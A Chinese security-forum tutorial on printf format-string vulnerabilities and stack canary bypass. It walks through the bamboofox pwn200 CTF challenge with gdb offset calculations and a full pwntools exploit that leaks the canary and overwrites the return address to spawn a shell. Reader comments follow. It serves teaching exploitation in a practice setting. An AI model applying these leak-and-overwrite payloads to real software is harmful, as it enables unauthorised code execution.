首页
社区
课程
招聘
[原创]printf函数leak与canary绕过原理及利用方式
2018-6-30 18:31 20103

[原创]printf函数leak与canary绕过原理及利用方式

2018-6-30 18:31
20103

漏洞原理

printf 属于可变参数函数,函数调用者可任意指定参数和数量,这也是漏洞产生的原因。
printf()函数的一般形式为:

printf("format", 输出表列)

format参考列表

%c:输出字符,配上%n可用于向指定地址写数据。

%d:输出十进制整数,配上%n可用于向指定地址写数据。

%x:输出16进制数据,如%i$x表示要泄漏偏移i处4字节长的16进制数据,%i$lx表示要泄漏偏移i处8字节长的16进制数据,32bit和64bit环境下一样。

%p:输出16进制数据,与%x基本一样,只是附加了前缀0x,在32bit下输出4字节,在64bit下输出8字节,可通过输出字节的长度来判断目标环境是32bit还是64bit。

%s:输出的内容是字符串,即将偏移处指针指向的字符串输出,如%i$s表示输出偏移i处地址所指向的字符串,在32bit和64bit环境下一样,可用于读取GOT表等信息。

%n:将%n之前printf已经打印的字符个数赋值给偏移处指针所指向的地址位置,如%100×10$n表示将0x64写入偏移10处保存的指针所指向的地址(4字节),而%$hn表示写入的地址空间为2字节,%$hhn表示写入的地址空间为1字节,%$lln表示写入的地址空间为8字节,在32bit和64bit环境下一样。有时,直接写4字节会导致程序崩溃或等候时间过长,可以通过%$hn或%$hhn来适时调整。

%n是通过格式化字符串漏洞改变程序流程的关键方式,而其他格式化字符串参数可用于读取信息或配合%n写数据。

例题源码

#include<stdio.h>

int main(void)
{

    char a[100];
    scanf("%s",a);
    printf(a);
    return 1;

编译命令

gcc -m32 -fno-stack-protector -o printf printf.c

会弹出警告

 


接着我们尝试运行并输入 AAAA%x,%x,%x,%x,%x,%x,%x,%x,%x

我们可以利用gdb看一下输入的地址

我们可以知道数据在堆栈中是如何储存的并且知道输出的第7位是AAAA的ascll码
为了pwn的利用 我们可以只输出指定的地址
这里利用printf函数的一个特性,$操作符
例如我们现在要输出第7位

AAAA%7$x


发现成功输出第七位AAAA的ascll码

在pwn中已经很少出现字符串格式化漏洞的直接的利用了

目前常用用于leak某些函数的地址

GCC Canary保护

要检测对函数栈的破坏,需要修改函数栈的组织,在缓冲区和控制信息(如 EBP 等)间插入一个 canary word。这样,当缓冲区被溢出时,在返回地址被覆盖之前 canary word 会首先被覆盖。通过检查 canary word 的值是否被修改,就可以判断是否发生了溢出攻击。
为了方式发生信息泄露以及其他漏洞的利用 canary使用\x00对值进行截断
所以canary的最低byte位为\x00

在接下来的题目中详细讲解canary保护作用原理以及绕过思路

bamboofox-pwn200

pwn200

这是一道提供了源代码的pwn题,先来查看下

void canary_protect_me(void){
    system("/bin/sh");
}

int main(void){
    setvbuf(stdout, 0LL, 2, 0LL);
    setvbuf(stdin, 0LL, 1, 0LL);
    char buf[40];
    gets(buf);
    printf(buf);//存在格式化漏洞
    gets(buf);
    return 0;
}

程序提供了shell
检查下程序保护

开启了NX以及Canary保护

载入IDA查看流程

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [esp+14h] [ebp-2Ch]
  unsigned int v5; // [esp+3Ch] [ebp-4h]

  v5 = __readgsdword(0x14u);
  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 1, 0);
  gets(&s);
  printf(&s);
  gets(&s);
  return 0;
}

可以对照源代码 发现多出了变量V5 根据上述canary保护解释应该可以理解 这里的V5应该就是canary保护生成的随机参数 我们也可以在汇编代码处看出

因为v5的地址是esp+3Ch 而这里 mov edx,[esp+3ch]就可以知道edx里面存在的就应该是v5的值了
看到这里利用edx中获取的v5的值与large gs:14h进行 xor判断 如果不相等则 call ___stack_chk_fail 退出程序

Canary绕过方式

一般canary有两种利用方式
1.爆破canary
2.如果存在字符串格式化漏洞可以输出canary并利用溢出覆盖canary从而达到绕过

这里我们采用第二种利用

载入程序到gdb

 

在printf处下断

b printf


尝试运行
这是可在看到我们输入的字符串在堆栈中的位置

尝试打印该地址内存

x/20wx 0xffffd060


可以看到输出AAAA的偏移为5
printf打印出的应该是偏移后的下一位地址
我们再运行程序进行测试输出

AAAA%5$x


发现成功输出
这里需要注意 输出的地址都是十进制数 所以在后面地址的利用时 我们应转为16进制使用 或者直接利用pwntools函数p32或者p64直接进行转换
既然canary

根据canary特性知道 canary也要进行压栈所以canary的值应该会在栈的附近 我们可以在canary赋值给edx之后进行下断,通过edx的值来得到canary的值


我们这xor判断这里下断

b* 0x80485ED

输入C 运行到下一断点位置
查看此时的edx的值

$edx : 0x68496c00

我们可以查看之前printf时的内存地址

发现edx 0x68496c00 的偏移为15,所以可以构造打印出当前的canary的值

%15$x


成功泄露出当前canary

这里需要注意的是 每次程序初始化canary的值都是不一样的所以

我们应该这样去写exp

from pwn import *

p = process('./1')

leak_canary = '%15$x'
p.sendline(leak_canary)
canary = int(p.recv(),16)
print hex(canary)

利用思路

既然可以泄露出canary的值,我们就可以通过gets溢出到canary处然后覆盖我们leak处的canary从而达到绕过canary的目的

计算第一次gets与canary的偏移

因为canary的赋值是从v5而来所以这里计算s与v5的偏移即可

得到偏移为40
所以这里的payload可以写为

payload = 'A'*40+p32(canary)

我们这里的最终目的是为了获取shell
而程序提供了shell

sh = 0x804854D

我们还需溢出第二个gets到ret的位置并且覆盖ret地址为当前sh地址
偏移为当前canary地址到ret地址
依然在xor处下断

b* 0x80485ED

运行到此处计算当前v5的地址(当前esp+0x3c)

得到当前v5的地址

因为这里的canary已经被覆盖
而v5距离ebp为0x4
所以此时只需要计算v5到ebp的偏移即可

得到偏移为12

构造EXP

from pwn import *

#p = process('./1')
 p = remote('bamboofox.cs.nctu.edu.tw',22002)
leak_canary = '%15$x'
p.sendline(leak_canary)
canary = int(p.recv(),16)
print hex(canary)
sh = 0x804854D
payload = 'a'*(0x2c-0x4)+p32(canary)+'B'*12+p32(sh)
p.sendline(payload)
p.interactive()


成功获取shell
这里不进行flag获取

小结

通过题目让让大家能了解到如何利用printf leak出函数地址
并且通过printf进行canary绕过
这里也带着大家复习了下gdb的基本操作和栈溢出偏移量的获取
如果有不足希望大家能指出


[培训]二进制漏洞攻防(第3期);满10人开班;模糊测试与工具使用二次开发;网络协议漏洞挖掘;Linux内核漏洞挖掘与利用;AOSP漏洞挖掘与利用;代码审计。

最后于 2018-6-30 19:29 被iosmosis编辑 ,原因:
收藏
点赞3
打赏
分享
最新回复 (13)
雪    币: 265
活跃值: (29)
能力值: ( LV5,RANK:70 )
在线值:
发帖
回帖
粉丝
GhostDoog 2018-7-1 16:25
2
0
雪    币: 6775
活跃值: (8525)
能力值: ( LV17,RANK:797 )
在线值:
发帖
回帖
粉丝
无名侠 12 2018-7-1 19:13
3
0
哈哈哈哈 学习了
雪    币: 6818
活跃值: (153)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
聖blue 2018-7-1 23:11
4
0
雪    币: 6818
活跃值: (153)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
聖blue 2018-7-1 23:12
5
0
雪    币: 351
活跃值: (225)
能力值: ( LV5,RANK:65 )
在线值:
发帖
回帖
粉丝
iosmosis 1 2018-7-2 11:31
6
0
无名侠 哈哈哈哈 学习了
和大佬一起学习
雪    币: 1604
活跃值: (640)
能力值: ( LV13,RANK:460 )
在线值:
发帖
回帖
粉丝
shayi 9 2018-7-2 14:05
7
0
关键点在于那条 gcc 编译参数(-fno-stack-protector),禁用了栈保护功能,于是程序 printf 在运行时不会检查栈上数据是否被非法覆盖。不过实践中很少有软件会刻意忽略掉金丝雀的 
雪    币: 351
活跃值: (225)
能力值: ( LV5,RANK:65 )
在线值:
发帖
回帖
粉丝
iosmosis 1 2018-7-3 09:22
8
0
shayi 关键点在于那条 gcc 编译参数(-fno-stack-protector),禁用了栈保护功能,于是程序 printf 在运行时不会检查栈上数据是否被非法覆盖。不过实践中很少有软件会刻意忽略掉金丝雀的 ...
嗯对,那条gcc编译主要是为了演示printf函数漏洞利用,题目的话canary是开启的
雪    币: 21
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
Corporal 2018-7-24 07:21
9
0
雪    币: 3170
活跃值: (129)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
我是一条咸鱼 2018-8-3 13:22
10
0
受益匪浅
雪    币: 351
活跃值: (225)
能力值: ( LV5,RANK:65 )
在线值:
发帖
回帖
粉丝
iosmosis 1 2018-8-9 23:32
11
0
灵音 受益匪浅
雪    币: 201
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
枫筱一墨 2018-10-18 18:19
12
0
大佬这几句没有看懂,能解释一下吗?
因为这里的canary已经被覆盖
而v5距离ebp为0x4
所以此时只需要计算v5到ebp的偏移即可
距离和偏移不一样吗?
最后于 2018-10-18 18:22 被枫筱一墨编辑 ,原因:
雪    币: 351
活跃值: (225)
能力值: ( LV5,RANK:65 )
在线值:
发帖
回帖
粉丝
iosmosis 1 2018-11-18 12:57
13
0
枫筱一墨 大佬这几句没有看懂,能解释一下吗?因为这里的canary已经被覆盖而v5距离ebp为0x4所以此时只需要计算v5到ebp的偏移即可距离和偏移不一样吗?
那里其实想算得就是v5的偏移  而位是通过算计算v5的地址再而计算偏移 所以用了距离这个词==  其实位想表达的是一样德
雪    币: 199
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
mb_ygsnahbm 2019-5-23 09:23
14
0
咨询一下楼主,第二步算v5和ebp偏移的时候,int v5; // [esp+3Ch] [ebp-4h],为什么偏移不直接是ebp-4h,偏移为4?而是esp+3c减去ebp得出偏移?这个 [ebp-4h]是什么啊?
游客
登录 | 注册 方可回帖
返回